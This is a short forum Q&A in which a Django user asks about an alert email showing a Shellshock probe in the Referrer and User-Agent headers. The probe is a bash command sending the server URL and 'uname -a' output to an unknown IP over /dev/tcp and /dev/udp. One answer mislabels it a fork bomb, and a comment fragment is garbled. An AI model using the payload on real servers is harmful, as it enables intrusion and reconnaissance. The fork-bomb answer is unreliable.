Possible Django Security Attack

Question

I installed django to alert me by email when any request fails, and I constantly get this email:

Referrer: () { :;}; /bin/bash -c "echo <<my_server_ip>>/cgi-bin/index.cgi  > /dev/tcp/<<unknown_ip>>/21; /bin/uname -a > /dev/tcp/<<unknown_ip>>/21; echo <<my_server_ip>>/cgi-bin/index.cgi > /dev/udp/<<unknown_ip>>/21"
Requested URL: /cgi-bin/index.cgi
User agent: () { :;}; /bin/bash -c "echo <<my_server_ip>>/cgi-bin/index.cgi  > /dev/tcp/<<unknown_ip>>/21; /bin/uname -a > /dev/tcp/<<unknown_ip>>/21; echo <<my_server_ip>>/cgi-bin/index.cgi > /dev/udp/<<unknown_ip>>/21"
IP address: 127.0.0.1

What does it mean? Should I worry?

I am using nginx, ubuntu, gunicorn.

Answer 1

This is like trying a fork bomb :

() { :;};

Fortunately, if your server is still running after it is sent, it means that it is being cleared or ignored.

---

@TheGreatContini , Shellshock. . , , , , .

Answer 2

shell shock.